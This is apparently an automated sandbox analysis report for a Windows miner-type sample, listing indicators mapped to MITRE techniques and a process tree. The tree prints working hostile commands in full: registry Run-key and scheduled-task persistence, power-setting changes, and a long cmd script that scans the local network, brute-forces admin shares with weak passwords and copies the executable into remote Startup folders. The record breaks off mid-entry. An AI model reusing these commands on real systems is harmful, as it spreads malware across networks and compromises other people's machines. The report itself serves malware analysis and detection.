7126b9932dc0cdfe751340edfa7c4a14b69262eb1afd0530e6d1fdb2e25986dd

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	IMG001.scr
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	IMG001.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Run.lnk	IMG001.exe

Executes dropped EXE 1 IoCs

pid	Process
1968	IMG001.exe

Loads dropped DLL 5 IoCs

pid	Process
1968	IMG001.exe
1968	IMG001.exe
1968	IMG001.exe
1968	IMG001.exe
1968	IMG001.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe"	IMG001.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe"	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\E:	IMG001.exe

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

Network Service Discovery

T1046

pid	Process
2120	cmd.exe
2060	ARP.EXE

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Power Settings 1 TTPs 4 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4788	cmd.exe
2528	powercfg.exe
4952	powercfg.exe
4428	powercfg.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\UAC.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 59 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IMG001.scr
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IMG001.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ARP.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
2444	PING.EXE
1812	PING.EXE

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x000700000002345b-4.dat	nsis_installer_1
behavioral2/files/0x000700000002345b-4.dat	nsis_installer_2

Discovers systems in the same network 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
320	net.exe
3768	net.exe

Enumerates system info in registry 2 TTPs 12 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P	cmd.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
2444	PING.EXE
1812	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2992	schtasks.exe
4808	schtasks.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2528	powercfg.exe
Token: SeCreatePagefilePrivilege	2528	powercfg.exe
Token: SeShutdownPrivilege	4952	powercfg.exe
Token: SeCreatePagefilePrivilege	4952	powercfg.exe
Token: SeShutdownPrivilege	4428	powercfg.exe
Token: SeCreatePagefilePrivilege	4428	powercfg.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2900 wrote to memory of 1968	2900	IMG001.scr	84
PID 2900 wrote to memory of 1968	2900	IMG001.scr	84
PID 2900 wrote to memory of 1968	2900	IMG001.scr	84
PID 1968 wrote to memory of 1708	1968	IMG001.exe	87
PID 1968 wrote to memory of 1708	1968	IMG001.exe	87
PID 1968 wrote to memory of 1708	1968	IMG001.exe	87
PID 1968 wrote to memory of 2504	1968	IMG001.exe	89
PID 1968 wrote to memory of 2504	1968	IMG001.exe	89
PID 1968 wrote to memory of 2504	1968	IMG001.exe	89
PID 1968 wrote to memory of 4164	1968	IMG001.exe	91
PID 1968 wrote to memory of 4164	1968	IMG001.exe	91
PID 1968 wrote to memory of 4164	1968	IMG001.exe	91
PID 1968 wrote to memory of 4788	1968	IMG001.exe	93
PID 1968 wrote to memory of 4788	1968	IMG001.exe	93
PID 1968 wrote to memory of 4788	1968	IMG001.exe	93
PID 1708 wrote to memory of 3268	1708	cmd.exe	95
PID 1708 wrote to memory of 3268	1708	cmd.exe	95
PID 1708 wrote to memory of 3268	1708	cmd.exe	95
PID 2504 wrote to memory of 2992	2504	cmd.exe	96
PID 2504 wrote to memory of 2992	2504	cmd.exe	96
PID 2504 wrote to memory of 2992	2504	cmd.exe	96
PID 4164 wrote to memory of 4808	4164	cmd.exe	97
PID 4164 wrote to memory of 4808	4164	cmd.exe	97
PID 4164 wrote to memory of 4808	4164	cmd.exe	97
PID 4788 wrote to memory of 2528	4788	cmd.exe	98
PID 4788 wrote to memory of 2528	4788	cmd.exe	98
PID 4788 wrote to memory of 2528	4788	cmd.exe	98
PID 4788 wrote to memory of 4952	4788	cmd.exe	99
PID 4788 wrote to memory of 4952	4788	cmd.exe	99
PID 4788 wrote to memory of 4952	4788	cmd.exe	99
PID 4788 wrote to memory of 4428	4788	cmd.exe	100
PID 4788 wrote to memory of 4428	4788	cmd.exe	100
PID 4788 wrote to memory of 4428	4788	cmd.exe	100
PID 1968 wrote to memory of 2752	1968	IMG001.exe	106
PID 1968 wrote to memory of 2752	1968	IMG001.exe	106
PID 1968 wrote to memory of 2752	1968	IMG001.exe	106
PID 2752 wrote to memory of 2120	2752	cmd.exe	108
PID 2752 wrote to memory of 2120	2752	cmd.exe	108
PID 2752 wrote to memory of 2120	2752	cmd.exe	108
PID 2120 wrote to memory of 320	2120	cmd.exe	109
PID 2120 wrote to memory of 320	2120	cmd.exe	109
PID 2120 wrote to memory of 320	2120	cmd.exe	109
PID 2120 wrote to memory of 3268	2120	cmd.exe	110
PID 2120 wrote to memory of 3268	2120	cmd.exe	110
PID 2120 wrote to memory of 3268	2120	cmd.exe	110
PID 2120 wrote to memory of 2060	2120	cmd.exe	111
PID 2120 wrote to memory of 2060	2120	cmd.exe	111
PID 2120 wrote to memory of 2060	2120	cmd.exe	111
PID 2120 wrote to memory of 2116	2120	cmd.exe	112
PID 2120 wrote to memory of 2116	2120	cmd.exe	112
PID 2120 wrote to memory of 2116	2120	cmd.exe	112
PID 2752 wrote to memory of 316	2752	cmd.exe	113
PID 2752 wrote to memory of 316	2752	cmd.exe	113
PID 2752 wrote to memory of 316	2752	cmd.exe	113
PID 2752 wrote to memory of 4888	2752	cmd.exe	114
PID 2752 wrote to memory of 4888	2752	cmd.exe	114
PID 2752 wrote to memory of 4888	2752	cmd.exe	114
PID 4888 wrote to memory of 3768	4888	cmd.exe	115
PID 4888 wrote to memory of 3768	4888	cmd.exe	115
PID 4888 wrote to memory of 3768	4888	cmd.exe	115
PID 4888 wrote to memory of 5104	4888	cmd.exe	116
PID 4888 wrote to memory of 5104	4888	cmd.exe	116
PID 4888 wrote to memory of 5104	4888	cmd.exe	116
PID 2752 wrote to memory of 4540	2752	cmd.exe	117

C:\Users\Admin\AppData\Local\Temp\IMG001.scr
"C:\Users\Admin\AppData\Local\Temp\IMG001.scr" /S
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
  "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1708
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:3268
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2504
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2992
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4164
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
      4⤵
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4808
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
    3⤵
    - Power Settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4788
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /CHANGE -standby-timeout-ac 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:2528
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /CHANGE -hibernate-timeout-ac 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:4952
  - - C:\Windows\SysWOW64\powercfg.exe
      Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:4428
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\\" ^|^| @arp -a^|find /i " 1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=1806& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \\!s! & (for /f "usebackq tokens=1" %j in (`net view \\!s!^|find /i " "`) do @echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\!s!\%j\!f!" 1>nul && @echo copy to "\\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\\!s!\C$ \\!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))
    3⤵
    - Indicator Removal: Network Share Connection Removal
    - System Location Discovery: System Language Discovery
    - NTFS ADS
    - Suspicious use of WriteProcessMemory
    PID:2752
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c @net view|find /i "\\" || @arp -a|find /i " 1"
      4⤵
      Network Service Discovery
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2120
    - - C:\Windows\SysWOW64\net.exe
        
        net view
        5⤵
        System Location Discovery: System Language Discovery
        Discovers systems in the same network
        
        PID:320
    - - C:\Windows\SysWOW64\find.exe
        
        find /i "\\"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3268
    - - C:\Windows\SysWOW64\ARP.EXE
        
        arp -a
        5⤵
        Network Service Discovery
        System Location Discovery: System Language Discovery
        
        PID:2060
    - - C:\Windows\SysWOW64\find.exe
        
        find /i " 1"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2116
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c set str_
      4⤵
      System Location Discovery: System Language Discovery
      PID:316
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net view \\10.127.255.255|find /i " "
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4888
    - - C:\Windows\SysWOW64\net.exe
        
        net view \\10.127.255.255
        5⤵
        System Location Discovery: System Language Discovery
        Discovers systems in the same network
        
        PID:3768
    - - C:\Windows\SysWOW64\find.exe
        
        find /i " "
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5104
  - - C:\Windows\SysWOW64\net.exe
      net use * /delete /y
      4⤵
      Indicator Removal: Network Share Connection Removal
      System Location Discovery: System Language Discovery
      PID:4540
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1812
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3048
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:4788
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:2572
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2192
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:2740
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:2404
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4880
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:3712
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:1416
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      System Location Discovery: System Language Discovery
      PID:380
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:4572
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:3148
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4768
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:3928
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:3884
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4392
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:4528
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:3556
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4080
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:1508
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        System Location Discovery: System Language Discovery
